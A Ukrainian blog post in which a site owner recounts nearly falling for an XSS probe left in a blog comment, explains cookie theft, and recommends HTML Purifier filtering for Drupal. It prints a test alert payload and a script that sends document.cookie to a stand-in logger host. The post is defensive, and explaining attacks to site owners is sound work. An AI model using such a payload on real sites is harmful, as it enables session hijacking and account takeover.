Я вже раніше писав про те, що для того, щоб навчитись кататись на лижах, потрібно навчитись падати.
Слова придумані не мною, але до теми цієї статті вони ой як підходять, правда в контексті того, "для навчання безпеці сайтів - спочатку потрібно навчитись взлому".
От і сьогодні я майже попався 8)...
Благо, десь там ззаду є вже одна чи дві звилини від того, що колись читав і пробував ламати...
Вона і допомогла.
Отже - коментар на Вашому блозі.
Що Ви в першу чергу робитимете? Ясне діло - його вартує переглянути, бо "а раптом спам", чи "а раптом нарешті щось корисне".
От тільки я вже дуже давно знаю про те, що не варто заходити на сайт, після отримання на ньому щось нового, зареєстрованим користувачем чи то навіть адміном.
Але... Я зайшов... Ну знаєте як воно... Розпальцовка іноді заважає робити коректні речі. От і я клікнув, бо в полі коментаря було пусто. І перед вікном отримав банальне віконечко javascript alert - досить таки яскравий варіант того, що на сторінці, яку ви відкрили присутній код javascript, яким "кулхацкер" тестує Ваш сайт на предмет XSS.
Що таке XSS - завжди можна почитати в інтернеті, - коротко - це виконання на Вашому сайті коду, який там не повинен виконуватись.
Найчастіше з допомогою XSS - крадуть cookie, для того, щоб підставивши їх в свій броузер - зайти на сайт з правами того користувача, в якого вони були вкрадені.
Мій варіант - після мегачистки бази даних повимикав фільтри для коментарів, через що в поле коментаря можна було досить легко вписати javascript і він виконувався від імені того користувача(в даному випадку - мене).
<script>alert(0)</script>
Приклад вікна
Ну а далі все досить банально.
Замість тестованого коду вписується реальний код, який тим же javascript відсилає на інший сайт Ваші куки.
В моєму випадку код був ось такого вигляду
<script>
img = new Image(); img.src = "http://logger.site/any.gif?"+document.cookie;
</script>
В результаті, document.cookie підставляємо в ту ж оперу і заходимо на "взломаний сайт".
А тепер щодо боротьби...
В випадку, якщо Ви використовуєте якусь популярну CMS - варто глянути в наявні фільтри та додатки, які будуть викидати небезпечний код з матеріалів, що вводяться анонімними користувачами на Ваші сайти.
Я ж наведу приклад для Drupal - існує чудовий модуль HTML Чистильщик, який використовує широко відому в вузьких колах бібліотеку. Для тих, кому важко з "нерідною" - качайте переклад Українською.
Дану бібліотеку можна з легкістю встановити як незалежно від типу CMS, так і в складі будь-якої відомої системи керування сайтом, при умові, якщо вже придумали для неї додаток. Якщо ж не придумали - тоді можна і самому встановити, для цього читаєм відповідну документацію.
Які плюси? - ще до того, як інформація буде додана в базу Вашої системи керування сайтом - максимум лишнього буде викинуто.
Приклад роботи того ж HTML Чистильщика.
Деякі відомі XSS атаки, з яких можна частково зрозуміти що і як.
PS. Доречі - захист від XSS в Чистильщика - це всього навсього побічний ефект, який перетворився в круту фічу.
PPS. В будь-якому випадку, якщо Ви побачили такого роду вікно при вході на свій сайт - миттєво стирайте, міняйте паролі і обновляйте всі відомі дірки в Вашому програмному забезпеченні